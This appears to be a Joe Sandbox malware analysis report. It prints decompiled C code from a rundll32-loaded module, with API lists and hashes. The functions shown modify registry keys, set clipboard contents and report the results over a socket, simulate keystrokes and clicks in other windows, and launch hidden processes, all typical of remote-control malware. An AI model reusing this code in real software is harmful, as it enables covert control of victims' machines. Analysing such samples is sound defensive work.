									_t54 = FindWindowExW(_t53, 0,  *0xfd67e0, 0);
									__eflags = _t54;
									if(_t54 == 0) {
										goto L26;
									}
									_t55 = FindWindowExW(_t54, 0,  *0xfd67e4, 0);
									 *0xfd63a0 = _t55;
									__eflags = _t55;
									if(_t55 != 0) {
										break;
									}
									goto L27;
									L28:
									Sleep(0x1f4);
									_t60 = _t60 + 1;
									__eflags = _t60 - 0xa;
								} while (_t60 < 0xa);
								_t29 =  *0xfd6398; // 0x0
								__eflags = _t29;
								if(_t29 != 0) {
									PostMessageA(_t29, 0x1a, 0,  *0xfd6b10);
								}
								__eflags =  *0xfd7730;
								if( *0xfd7730 == 0) {
									_t47 = RegOpenKeyExA(0x80000001,  *0xfd6b7c, 0, 0xf003f,  &_v108);
									__eflags = _t47;
									if(_t47 == 0) {
										_v104 = 0x14;
										RegQueryValueA(_v108, 0, 0xfd7730,  &_v104);
										RegSetValueA(_v108, 0, 1,  *0xfd6b84, 0);
										RegCloseKey(_v108);
									}
								}
								_t31 = RegOpenKeyExA(0x80000001,  *0xfd6b80, 0, 0xf003f,  &_v108);
								__eflags = _t31;
								if(_t31 != 0) {
									L41:
									__eflags =  *0xfd6398; // 0x0
									_t22 = __eflags != 0;
									__eflags = _t22;
									return 0 | _t22;
								} else {
									_t66 = 0;
									_t35 = RegEnumKeyA(_v108, 0,  &_v100, 0x64);
									__eflags = _t35;
									if(_t35 != 0) {
										L40:
										RegCloseKey(_v108);
										goto L41;
									}
									do {
										lstrcatA( &_v100,  *0xfd6b88);
										_t41 = RegOpenKeyExA(_v108,  &_v100, 0, 0xf003f,  &_v104);
										__eflags = _t41;
										if(_t41 == 0) {
											RegSetValueA(_v104, _t41, 1, 0xfcf2da, _t41);
											RegCloseKey(_v104);
										}
										_t66 = _t66 + 1;
										_t43 = RegEnumKeyA(_v108, _t66,  &_v100, 0x64);
										__eflags = _t43;
									} while (_t43 == 0);
									goto L40;
								}
							}
							Sleep(0x1f4);
							_t59 = _t59 + 1;
							__eflags = _t59 - 0xa;
							if(_t59 < 0xa) {
								continue;
							}
							goto L20;
						}
						GetWindowRect(_t26, 0xfd63a4);
						goto L20;
					}
					Sleep(0x1f4);
					_t57 = _t57 + 1;
					if(_t57 >= 0xa) {
						goto L14;
					}
					_t23 =  *0xfd6398; // 0x0
				}
				_t58 = 0;
				__eflags = 0;
				while(1) {
					_t25 = FindWindowExW(_t24, 0,  *0xfd67a8,  *0xfd67d4);
					 *0xfd639c = _t25;
					__eflags = _t25;
					if(_t25 != 0) {
						goto L14;
					}
					__eflags = _t63;
					if(_t63 == 0) {
						goto L14;
					}
					Sleep(0x1f4);
					_t24 = _v104;
					_t58 = _t58 + 1;
					__eflags = _t58 - 0xa;
					if(_t58 < 0xa) {
						continue;
					}
					goto L14;
				}
				goto L14;
			}

0x00fc1a9c
0x00fc1a9f
0x00fc1aa1
0x00fc1aad
0x00fc1ab3
0x00fc1aba
0x00000000
0x00000000
0x00fc1ac5
0x00fc1ac7
0x00fc1acb
0x00000000
0x00000000
0x00fc1acd
0x00000000
0x00fc1acd
0x00fc1ad8
0x00fc1ada
0x00fc1ae0
0x00fc1aeb
0x00fc1aed
0x00fc1af3
0x00000000
0x00000000
0x00fc1af7
0x00fc1b3f
0x00fc1b3f
0x00fc1b49
0x00fc1b49
0x00fc1b50
0x00fc1b58
0x00fc1b5e
0x00fc1b63
0x00fc1b65
0x00000000
0x00000000
0x00fc1b67
0x00fc1b69
0x00fc1b86
0x00fc1b86
0x00fc1b86
0x00fc1b90
0x00fc1b98
0x00fc1b9e
0x00fc1ba0
0x00fc1bdc
0x00fc1bdc
0x00fc1be6
0x00fc1be6
0x00fc1be8
0x00000000
0x00000000
0x00000000
0x00fc1be8
0x00fc1bad
0x00fc1baf
0x00fc1bb1
0x00000000
0x00000000
0x00fc1bbe
0x00fc1bc0
0x00fc1bc2
0x00000000
0x00000000
0x00fc1bcf
0x00fc1bd1
0x00fc1bd6
0x00fc1bd8
0x00000000
0x00000000
0x00000000
0x00fc1bea
0x00fc1bef
0x00fc1bf1
0x00fc1bf2
0x00fc1bf2
0x00fc1bf7
0x00fc1bfc
0x00fc1bfe
0x00fc1c0b
0x00fc1c0b
0x00fc1c11
0x00fc1c24
0x00fc1c3d
0x00fc1c43
0x00fc1c45
0x00fc1c4b
0x00fc1c5f
0x00fc1c75
0x00fc1c7b
0x00fc1c7b
0x00fc1c45
0x00fc1c94
0x00fc1c9a
0x00fc1c9c
0x00fc1d1f
0x00fc1d21
0x00fc1d29
0x00fc1d29
0x00fc1d30
0x00fc1ca2
0x00fc1caf
0x00fc1cb6
0x00fc1cb8
0x00fc1cba
0x00fc1d18
0x00fc1d1c
0x00000000
0x00fc1d1c
0x00fc1cc0
0x00fc1ccb
0x00fc1ce6
0x00fc1cec
0x00fc1cee
0x00fc1cfd
0x00fc1d03
0x00fc1d03
0x00fc1d0b
0x00fc1d12
0x00fc1d14
0x00fc1d14
0x00000000
0x00fc1cc0
0x00fc1c9c
0x00fc1b70
0x00fc1b72
0x00fc1b73
0x00fc1b76
0x00000000
0x00000000
0x00000000
0x00fc1b78
0x00fc1b80
0x00000000
0x00fc1b80
0x00fc1afe
0x00fc1b00
0x00fc1b04
0x00000000
0x00000000
0x00fc1b06
0x00fc1b06
0x00fc1b0d
0x00fc1b0d
0x00fc1b10
0x00fc1b1f
0x00fc1b21
0x00fc1b26
0x00fc1b28
0x00000000
0x00000000
0x00fc1b2a
0x00fc1b2c
0x00000000
0x00000000
0x00fc1b33
0x00fc1b35
0x00fc1b39
0x00fc1b3a
0x00fc1b3d
0x00000000
0x00000000
0x00000000
0x00fc1b3d
0x00000000

APIs

FindWindowW.USER32 ref: 00FC1AAD
Sleep.KERNEL32(000001F4), ref: 00FC1AC5
FindWindowExW.USER32(00000000,00000000,00000000), ref: 00FC1AEB
Sleep.KERNEL32(000001F4), ref: 00FC1AFE
FindWindowExW.USER32(00000000,00000000), ref: 00FC1B1F
Sleep.KERNEL32(000001F4), ref: 00FC1B33
FindWindowW.USER32(00000000), ref: 00FC1B58
Sleep.KERNEL32(000001F4), ref: 00FC1B70
GetWindowRect.USER32 ref: 00FC1B80
FindWindowW.USER32(00000000), ref: 00FC1B98
FindWindowExW.USER32(00000000,00000000,00000000), ref: 00FC1BAD
FindWindowExW.USER32(00000000,00000000,00000000), ref: 00FC1BBE
FindWindowExW.USER32(00000000,00000000,00000000), ref: 00FC1BCF
Sleep.KERNEL32(000001F4), ref: 00FC1BEF
PostMessageA.USER32 ref: 00FC1C0B
RegOpenKeyExA.ADVAPI32(80000001,00000000,000F003F,?), ref: 00FC1C3D
RegQueryValueA.ADVAPI32(?,00000000,00FD7730,?), ref: 00FC1C5F
RegSetValueA.ADVAPI32(?,00000000,00000001,00000000), ref: 00FC1C75
RegCloseKey.ADVAPI32(?), ref: 00FC1C7B
RegOpenKeyExA.ADVAPI32(80000001,00000000,000F003F,?), ref: 00FC1C94
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000064), ref: 00FC1CB6
lstrcatA.KERNEL32(?), ref: 00FC1CCB
RegOpenKeyExA.ADVAPI32(?,?,00000000,000F003F,?), ref: 00FC1CE6
RegSetValueA.ADVAPI32(?,00000000,00000001,00FCF2DA,00000000), ref: 00FC1CFD
RegCloseKey.ADVAPI32(?), ref: 00FC1D03
RegEnumKeyA.ADVAPI32(00000001,00000001,?,00000064), ref: 00FC1D12
RegCloseKey.ADVAPI32(?), ref: 00FC1D1C

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Window$Find$Sleep$CloseOpenValue$Enum$MessagePostQueryRectlstrcat
String ID:
API String ID: 2684576211-0
Opcode ID: e6031d64abab1f949b08aa209037697101fe3333df8e50ae1c2210844e18a243
Instruction ID: f6b709ff9b7074685636619f982b31e9a6640321f7b8c85b5503b8f15f9fab4d
Opcode Fuzzy Hash: e6031d64abab1f949b08aa209037697101fe3333df8e50ae1c2210844e18a243
Instruction Fuzzy Hash: D861A03564130AAFE7219F70AD46F667BAAFB85B14F14042AF600D61A2EB71D824FA11

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4C0F Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 178
clipboardstringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00FC4C0F(long __edi, signed int _a24, long _a124, intOrPtr _a128, char _a248, char _a352, intOrPtr _a2012) {
				int _t19;
				void* _t47;
				intOrPtr _t55;
				int _t56;
				int _t57;
				unsigned int _t63;
				long _t72;
				int _t73;
				int _t74;
				void* _t75;
				void* _t76;
				void* _t81;
				void* _t84;

				_t63 = __edi;
				_t76 = E00FC11D0(__edi);
				_push(__edi);
				if(_t76 == 0) {
					_push(_a2012);
					return E00FC1870();
				} else {
					_push(_t76);
					_push(_a2012);
					_t19 = E00FC17E0();
					_t84 = _t81 + 0xc;
					if(_t19 == 0) {
						L22:
						if(_t63 == 0) {
							return _t19;
						} else {
							goto L23;
						}
					} else {
						if(__edi == 0) {
							_t55 = 1;
							_t72 = 0;
							goto L18;
						} else {
							_a24 = 0;
							if(OpenClipboard(0) == 0) {
								_t55 = 2;
								_t72 = GetLastError();
							} else {
								EmptyClipboard();
								_t75 = GlobalAlloc(0x2000, __edi);
								if(_t75 == 0) {
									_t55 = 3;
									_t72 = GetLastError();
									CloseClipboard();
								} else {
									if(GlobalLock(_t75) == 0) {
										_t55 = 4;
										_t72 = GetLastError();
										CloseClipboard();
									} else {
										E00FC1000(_t42, _t76, __edi);
										_t84 = _t84 + 0xc;
										GlobalUnlock(_t75);
										_t47 = SetClipboardData(0xd, _t75);
										_a24 = 0 | _t47 != 0x00000000;
										if(_t47 != 0) {
											_t72 = _a124;
											_t55 = _a128;
											CloseClipboard();
										} else {
											_t6 = _t47 + 5; // 0x5
											_t55 = _t6;
											_t72 = GetLastError();
											CloseClipboard();
										}
									}
								}
							}
							if(_a24 == 0) {
								L18:
								_push(_t72);
								E00FC1200( &_a352, "Set  clipboard text failed. \r\n Error # %d - %08lx", _t55);
								_t84 = _t84 + 0x10;
								_t19 = lstrlenA( &_a352);
								_t73 = _t19;
								if( *0xfd672c != 0 && _t73 != 0) {
									_t19 = E00FC11D0(_t73);
									_t56 = _t19;
									if(_t56 != 0) {
										_t19 = E00FC1000(_t56,  &_a352, _t73);
										_t84 = _t84 + 0xc;
										EnterCriticalSection(0xfd6714);
										 *0xfd65fc = 5;
										 *0xfd6601 = _t73;
										 *0xfd65fd = _t56;
										LeaveCriticalSection(0xfd6714);
									}
								}
								goto L22;
							} else {
								E00FC1200( &_a248,  *0xfd6ba8, (_t63 >> 1) - 1);
								_t84 = _t84 + 0xc;
								_t74 = lstrlenA( &_a248);
								if( *0xfd672c != 0 && _t74 != 0) {
									_t57 = E00FC11D0(_t74);
									if(_t57 != 0) {
										E00FC1000(_t57,  &_a248, _t74);
										_t84 = _t84 + 0xc;
										EnterCriticalSection(0xfd6714);
										 *0xfd65fc = 5;
										 *0xfd6601 = _t74;
										 *0xfd65fd = _t57;
										LeaveCriticalSection(0xfd6714);
									}
								}
								L23:
								if(_t63 <= 0x1000) {
									return LocalFree(_t76);
								} else {
									return VirtualFree(_t76, 0, 0x8000);
								}
							}
						}
					}
				}
			}

0x00fc4c0f
0x00fc4c16
0x00fc4c18
0x00fc4c1b
0x00fc4e5e
0x00fc4e77
0x00fc4c21
0x00fc4c21
0x00fc4c22
0x00fc4c29
0x00fc4c2e
0x00fc4c33
0x00fc4e23
0x00fc4e25
0x00fc5442
0x00000000
0x00000000
0x00000000
0x00fc4c39
0x00fc4c3b
0x00fc4da0
0x00fc4da5
0x00000000
0x00fc4c41
0x00fc4c43
0x00fc4c53
0x00fc4cf6
0x00fc4d01
0x00fc4c59
0x00fc4c59
0x00fc4c6b
0x00fc4c6f
0x00fc4ce1
0x00fc4cec
0x00fc4cee
0x00fc4c71
0x00fc4c7a
0x00fc4ccc
0x00fc4cd7
0x00fc4cd9
0x00fc4c7c
0x00fc4c7f
0x00fc4c84
0x00fc4c88
0x00fc4c91
0x00fc4c9e
0x00fc4ca4
0x00fc4cb9
0x00fc4cbd
0x00fc4cc4
0x00fc4ca6
0x00fc4ca6
0x00fc4ca6
0x00fc4caf
0x00fc4cb1
0x00fc4cb1
0x00fc4ca4
0x00fc4c7a
0x00fc4c6f
0x00fc4d08
0x00fc4da7
0x00fc4da7
0x00fc4db6
0x00fc4dbb
0x00fc4dc6
0x00fc4dd3
0x00fc4dd5
0x00fc4ddd
0x00fc4de2
0x00fc4de6
0x00fc4df2
0x00fc4df7
0x00fc4dff
0x00fc4e0a
0x00fc4e11
0x00fc4e17
0x00fc4e1d
0x00fc4e1d
0x00fc4de6
0x00000000
0x00fc4d0e
0x00fc4d22
0x00fc4d27
0x00fc4d3f
0x00fc4d41
0x00fc4d56
0x00fc4d5a
0x00fc4d6a
0x00fc4d6f
0x00fc4d77
0x00fc4d82
0x00fc4d89
0x00fc4d8f
0x00fc4d95
0x00fc4d95
0x00fc4d5a
0x00fc4e2b
0x00fc4e31
0x00fc4e5d
0x00fc4e33
0x00fc4e4b
0x00fc4e4b
0x00fc4e31
0x00fc4d08
0x00fc4c3b
0x00fc4c33

APIs

Part of subcall function 00FC11D0: VirtualAlloc.KERNEL32(00000000,00000001,00003000,00000004,00FC76CF), ref: 00FC11E2

Part of subcall function 00FC17E0: select.WS2_32(?,?,?,?), ref: 00FC1829
Part of subcall function 00FC17E0: recv.WS2_32(?,?,?,00000000), ref: 00FC183D

OpenClipboard.USER32 ref: 00FC4C4B
EmptyClipboard.USER32 ref: 00FC4C59
GlobalAlloc.KERNEL32(00002000), ref: 00FC4C65
GlobalLock.KERNEL32 ref: 00FC4C72
GlobalUnlock.KERNEL32(00000000,?,?,00000000), ref: 00FC4C88
SetClipboardData.USER32 ref: 00FC4C91
GetLastError.KERNEL32(?,?,00000000), ref: 00FC4CA9
CloseClipboard.USER32 ref: 00FC4CB1
CloseClipboard.USER32 ref: 00FC4CC4
GetLastError.KERNEL32 ref: 00FC4CD1
CloseClipboard.USER32 ref: 00FC4CD9
GetLastError.KERNEL32 ref: 00FC4CE6
CloseClipboard.USER32 ref: 00FC4CEE
GetLastError.KERNEL32 ref: 00FC4CFB
lstrlenA.KERNEL32(?,?,?,00000000), ref: 00FC4D32
EnterCriticalSection.KERNEL32(00FD6714,?,?,?,?,?,00000000), ref: 00FC4D77
LeaveCriticalSection.KERNEL32(00FD6714,?,?,?,?,?,00000000), ref: 00FC4D95
lstrlenA.KERNEL32(?), ref: 00FC4DC6
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC4DFF
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC4E1D
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00FC4E3B
LocalFree.KERNEL32(00000000), ref: 00FC4E4D

Strings

Set clipboard text failed. Error # %d - %08lx, xrefs: 00FC4DB0

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Clipboard$CloseCriticalErrorLastSection$Global$AllocEnterFreeLeaveVirtuallstrlen$DataEmptyLocalLockOpenUnlockrecvselect
String ID: Set clipboard text failed. Error # %d - %08lx
API String ID: 4069804236-694873836
Opcode ID: c37584bf74978f0725eb76c0cfb02b96bb6c8f04dd07446280139306181d90e3
Instruction ID: 4bb91f437a85c53e2a5a6617bdbed1c9e075228fdf3e0fb85b0a6a8108552b9f
Opcode Fuzzy Hash: c37584bf74978f0725eb76c0cfb02b96bb6c8f04dd07446280139306181d90e3
Instruction Fuzzy Hash: 1851E932E0520A9BD3206B70EE5BF9BB759FB44752F09003EE905C7156DB79D808BBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FC55F0 Relevance: 31.8, APIs: 21, Instructions: 300
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00FC55F0(long _a12, signed int _a16, signed int _a20, signed int _a24) {
				void* __ecx;
				signed short _t38;
				signed int _t46;
				signed int _t61;
				struct HMENU__* _t67;
				struct HMENU__* _t74;
				int _t75;
				long _t84;
				signed int _t87;
				struct HWND__* _t89;
				struct HWND__* _t92;
				int _t104;
				struct HWND__* _t115;
				struct HWND__* _t122;
				int _t124;
				struct HWND__* _t125;
				struct HWND__* _t127;
				int _t128;
				void* _t130;
				struct tagPOINT _t131;

				_t38 = _a24;
				_t87 = _a16;
				_t131 = _a20;
				_t124 = _a12;
				 *0xfd774c = 0;
				 *0xfd7758 = 0;
				 *0xfd7750 = _t131;
				 *0xfd7754 = _t38;
				_t115 = _t92;
				if(_t124 != 1 || (_t87 & 0x00000800) == 0) {
					if((_t87 & 0x00000004) == 0 ||  *0xfd76cc == 0) {
						 *0xfd76cc = 0;
						if(_t124 != 5) {
							if(_t124 != 3) {
								if(_t124 == 0x14 || _t124 == 8 || _t124 == 9) {
									E00FCA610(_t92);
									E00FCA780(_t115);
									if(E00FC5560(_t115, _t124) != 0) {
										goto L17;
									} else {
										goto L41;
									}
								} else {
									if((_t87 & 0x00000400) == 0) {
										if((_t87 & 0x00000300) == 0 || _t124 != 1) {
											L41:
											if((_t87 & 0x0000034c) == 0) {
												E00FCA610(_t115);
												_t125 = _t115;
												if(_t115 != 0) {
													while(1) {
														_t46 = GetWindowLongA(_t115, 0xfffffff0);
														if(_t46 == 0 || (_t46 & 0x40000000) == 0) {
															goto L48;
														}
														_t115 = GetParent(_t115);
														if(_t115 != 0) {
															_t125 = _t115;
															continue;
														}
														goto L48;
													}
												}
												L48:
												E00FCA780(_t125);
											}
											goto L49;
										} else {
											_a20 = _t131;
											_a24 = _t38;
											E00FCA800(_t92,  &_a20);
											PostMessageA(_t115, 0x201, _t124, (_a24 & 0x0000ffff) << 0x00000010 | _a20 & 0x0000ffff);
											PostMessageA(_t115, 0x202, 0, (_a24 & 0x0000ffff) << 0x00000010 | _a20 & 0x0000ffff);
											return 1;
										}
									} else {
										E00FCA610(_t92);
										PostMessageA( *0xfd63b4, 0xf5, 0, 0);
										return 1;
									}
								}
							} else {
								_t127 = _t115;
								_t89 = _t115;
								if(_t115 != 0) {
									while(1) {
										_t61 = GetWindowLongA(_t127, 0xfffffff0);
										if(_t61 == 0 || (_t61 & 0x40000000) == 0) {
											goto L31;
										}
										_t127 = GetParent(_t127);
										if(_t127 != 0) {
											_t89 = _t127;
											continue;
										}
										goto L31;
									}
								}
								L31:
								 *0xfd76cc = _t89;
								E00FCA610(_t89);
								_t104 =  *0xfd76cc; // 0x0
								E00FCA780(_t104);
								E00FCA740();
								return 1;
							}
						} else {
							 *0xfd7698 = _t115;
							E00FCA610(_t92);
							E00FCA780(_t115);
							PostMessageA(_t115, 0x100, 0x79, 0);
							PostMessageA(_t115, 0x101, 0x79, 0);
							_t67 = GetMenu(_t115);
							if(_t67 != 0) {
								_push(_a24);
								_t128 = MenuItemFromPoint(_t115, _t67, _t131);
								if(_t128 > 0) {
									do {
										PostMessageA(_t115, 0x100, 0x27, 0);
										_t128 = _t128 - 1;
									} while (_t128 != 0);
								}
							}
							PostMessageA(_t115, 0x100, 0xd, 0);
							return 1;
						}
					} else {
						if(SendMessageTimeoutA(_t115, 0x1e1, 0, 0, 2, 0x3e8,  &_a12) != 0) {
							_t74 = _a12;
							if(_t74 != 0) {
								_push(_a24);
								_t75 = MenuItemFromPoint(_t115, _t74, _t131);
								if(_t75 >= 0 && SendMessageTimeoutA(_t115, 0x1e5, _t75, 0, 2, 0x3e8,  &_a12) != 0) {
									PostMessageW(_t115, 0x100, 0xd, 0);
								}
							}
						}
						 *0xfd76cc = 0;
						L17:
						return 1;
					}
				} else {
					_a20 = _t131;
					_a24 = _t38;
					_t122 = E00FCA800(_t92,  &_a20);
					if(_t122 == 0) {
						L49:
						return 0;
					} else {
						if(SendMessageTimeoutW(_t122, 0x110a, 9, 0, 2, 0x1f4,  &_a12) != 0) {
							_t84 = _a12;
							if(_t84 != 0) {
								PostMessageA(_t122, 0x110b, 9, _t84);
								PostMessageA(_t122, 0x113a, 0, _a12);
							}
						}
						_t130 = 5;
						do {
							PostMessageA(_t122, 0x201, 1, (_a24 & 0x0000ffff) << 0x00000010 | _a20 & 0x0000ffff);
							_t130 = _t130 - 1;
						} while (_t130 != 0);
						return 0;
					}
				}
			}

0x00fc55f1
0x00fc55f6
0x00fc55fb
0x00fc5600
0x00fc5604
0x00fc560e
0x00fc5618
0x00fc561e
0x00fc5624
0x00fc5629
0x00fc56cc
0x00fc575a
0x00fc5767
0x00fc57eb
0x00fc584e
0x00fc58f5
0x00fc58fc
0x00fc590c
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc5866
0x00fc586c
0x00fc5899
0x00fc5912
0x00fc5918
0x00fc591c
0x00fc5921
0x00fc5925
0x00fc5933
0x00fc5936
0x00fc593a
0x00000000
0x00000000
0x00fc5946
0x00fc594a
0x00fc594c
0x00000000
0x00fc594c
0x00000000
0x00fc594a
0x00fc5933
0x00fc5950
0x00fc5952
0x00fc5952
0x00000000
0x00fc58a0
0x00fc58a4
0x00fc58a8
0x00fc58ac
0x00fc58ce
0x00fc58e8
0x00fc58f4
0x00fc58f4
0x00fc586e
0x00fc586e
0x00fc5882
0x00fc5892
0x00fc5892
0x00fc586c
0x00fc57ed
0x00fc57ed
0x00fc57ef
0x00fc57f3
0x00fc5800
0x00fc5803
0x00fc5807
0x00000000
0x00000000
0x00fc5817
0x00fc581b
0x00fc581d
0x00000000
0x00fc581d
0x00000000
0x00fc581b
0x00fc5800
0x00fc5821
0x00fc5823
0x00fc5829
0x00fc582e
0x00fc5834
0x00fc583b
0x00fc584a
0x00fc584a
0x00fc576d
0x00fc576d
0x00fc5773
0x00fc577a
0x00fc578f
0x00fc579b
0x00fc579e
0x00fc57a6
0x00fc57a8
0x00fc57b5
0x00fc57b9
0x00fc57c0
0x00fc57ca
0x00fc57cc
0x00fc57cc
0x00fc57c0
0x00fc57b9
0x00fc57db
0x00fc57e7
0x00fc57e7
0x00fc56df
0x00fc56ff
0x00fc5701
0x00fc5707
0x00fc5709
0x00fc5710
0x00fc5718
0x00fc573f
0x00fc573f
0x00fc5718
0x00fc5707
0x00fc5745
0x00fc574f
0x00fc5759
0x00fc5759
0x00fc563b
0x00fc563f
0x00fc5643
0x00fc564c
0x00fc5650
0x00fc5957
0x00fc595e
0x00fc5656
0x00fc567a
0x00fc567c
0x00fc5682
0x00fc568d
0x00fc569b
0x00fc569b
0x00fc5682
0x00fc569d
0x00fc56a2
0x00fc56ba
0x00fc56bc
0x00fc56bc
0x00fc56c8
0x00fc56c8
0x00fc5650

APIs

SendMessageTimeoutW.USER32 ref: 00FC566C
PostMessageA.USER32 ref: 00FC568D
PostMessageA.USER32 ref: 00FC569B
PostMessageA.USER32 ref: 00FC56BA
SendMessageTimeoutA.USER32(00000000,000001E1,00000000,00000000,00000002,000003E8,?), ref: 00FC56FB
MenuItemFromPoint.USER32(00000000,?,?,?,?,?,00000000,00FC62BB), ref: 00FC5710
SendMessageTimeoutA.USER32(00000000,000001E5,00000000,00000000,00000002,000003E8,?), ref: 00FC572F
PostMessageW.USER32(00000000,00000100,0000000D,00000000), ref: 00FC573F
PostMessageA.USER32 ref: 00FC578F
PostMessageA.USER32 ref: 00FC579B
GetMenu.USER32(00000000), ref: 00FC579E
MenuItemFromPoint.USER32(00000000,00000000,?,?,?,?,00000000,00FC62BB), ref: 00FC57AF
PostMessageA.USER32 ref: 00FC57CA
GetWindowLongA.USER32 ref: 00FC5803
GetParent.USER32(00000000), ref: 00FC5811
PostMessageA.USER32 ref: 00FC5882
PostMessageA.USER32 ref: 00FC57DB

Part of subcall function 00FCA800: ScreenToClient.USER32 ref: 00FCA810
Part of subcall function 00FCA800: ChildWindowFromPoint.USER32(00000000,?,?), ref: 00FCA818
Part of subcall function 00FCA800: ScreenToClient.USER32 ref: 00FCA82C
Part of subcall function 00FCA800: ChildWindowFromPoint.USER32(00000000,?,?), ref: 00FCA834

PostMessageA.USER32 ref: 00FC58CE
PostMessageA.USER32 ref: 00FC58E8

Part of subcall function 00FCA610: FindWindowW.USER32(00000000,00000000), ref: 00FCA641
Part of subcall function 00FCA610: FindWindowW.USER32(00000000), ref: 00FCA65A
Part of subcall function 00FCA610: FindWindowExW.USER32(00000000,00000000,00000000), ref: 00FCA66D
Part of subcall function 00FCA610: PostMessageW.USER32(00000000,00000010,00000000,00000000), ref: 00FCA688
Part of subcall function 00FCA610: GetMenu.USER32(00000000), ref: 00FCA6CA
Part of subcall function 00FCA610: GetMenuItemCount.USER32 ref: 00FCA6E1
Part of subcall function 00FCA610: HiliteMenuItem.USER32(?,00000000,00000000,00000400), ref: 00FCA6FB

GetWindowLongA.USER32 ref: 00FC5936
GetParent.USER32(00000000), ref: 00FC5944

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Message$Post$Window$Menu$FromItemPoint$FindSendTimeout$ChildClientLongParentScreen$CountHilite
String ID:
API String ID: 1771547604-0
Opcode ID: 32417d56e708f04f684ced5572773cf28ddc638a00b93a5f56ef16a3a9ec3b73
Instruction ID: 95ee7431b2a569a38188668e09d42f88f62a20c38b62b9f25cf53e3dad334ec5
Opcode Fuzzy Hash: 32417d56e708f04f684ced5572773cf28ddc638a00b93a5f56ef16a3a9ec3b73
Instruction Fuzzy Hash: 91914831B40316ABE71157289D87F7EB7A4EB84F34F14022EFA41AB1D0DBA4EC81B651

Uniqueness

Uniqueness Score: -1.00%

Function 00FC9140 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 185
stringprocessmemoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00FC9140(intOrPtr __ecx) {
				short _v1028;
				short _v1628;
				struct _STARTUPINFOW _v1700;
				struct _PROCESS_INFORMATION _v1716;
				long _v1720;
				WCHAR* _v1724;
				WCHAR* _t32;
				void* _t35;
				long _t36;
				signed int _t42;
				signed int _t43;
				WCHAR* _t44;
				void* _t64;
				void* _t65;
				WCHAR* _t72;
				WCHAR* _t75;
				signed int _t78;
				void* _t79;
				intOrPtr _t82;
				WCHAR* _t83;
				intOrPtr _t84;
				WCHAR* _t86;
				WCHAR* _t90;
				WCHAR** _t93;

				_t84 = __ecx;
				_v1724 = 0;
				_v1720 = 0;
				_t32 = LocalAlloc(0, 0x200);
				_t83 = _t32;
				_t96 = _t83;
				if(_t83 != 0) {
					 *_t83 = 0;
					_t35 = E00FC8C70(_t84, _t83, _t96, 0x100, 0,  &_v1724,  &_v1720);
					_t93 =  &(( &_v1724)[4]);
					if(_t35 == 0 ||  *_t83 == 0) {
						L23:
						_t75 = _v1724;
						_t36 = _v1720;
						goto L24;
					} else {
						_t42 = lstrlenW(_t83);
						_t78 = _t42;
						if(_t42 <= 0) {
							L6:
							if(_t83[_t42] != 0x5c) {
								goto L23;
							}
							L7:
							_t43 = _t42 + 1;
							_t79 = _t78 - _t43;
							_t44 =  &(_t83[_t43]);
							if(_t44 == 0 || _t79 <= 8 ||  *_t44 != 0x68 || _t44[1] != 0x6d || _t44[2] != 0x72 || _t44[3] != 0x5f) {
								goto L23;
							} else {
								lstrcpyW( &_v1628,  *0xfd6924);
								lstrcatW( &_v1628, _t83);
								lstrcatW( &_v1628,  *0xfd6928);
								lstrcatW( &_v1628,  *0xfd6818);
								_v1028 = 0;
								lstrcpyW( &_v1028,  &_v1628);
								E00FC10D0( &_v1700, 0, 0x44);
								_t93 =  &(_t93[3]);
								_v1700.cb = 0x44;
								_v1700.dwFlags = 1;
								_v1700.wShowWindow = 0;
								if(CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v1700,  &_v1716) == 0) {
									_t36 = GetLastError();
									_t75 = 0x72;
									L24:
									_t82 =  *0xfd6908; // 0xfd866e
									_t90 = E00FC40D0(_t83, _t82, _t75, _t36);
									__eflags = _t90;
									if(_t90 == 0) {
										L30:
										return LocalFree(_t83);
									}
									_t86 = lstrlenW(_t90) + _t39;
									__eflags =  *0xfd672c;
									if( *0xfd672c == 0) {
										goto L30;
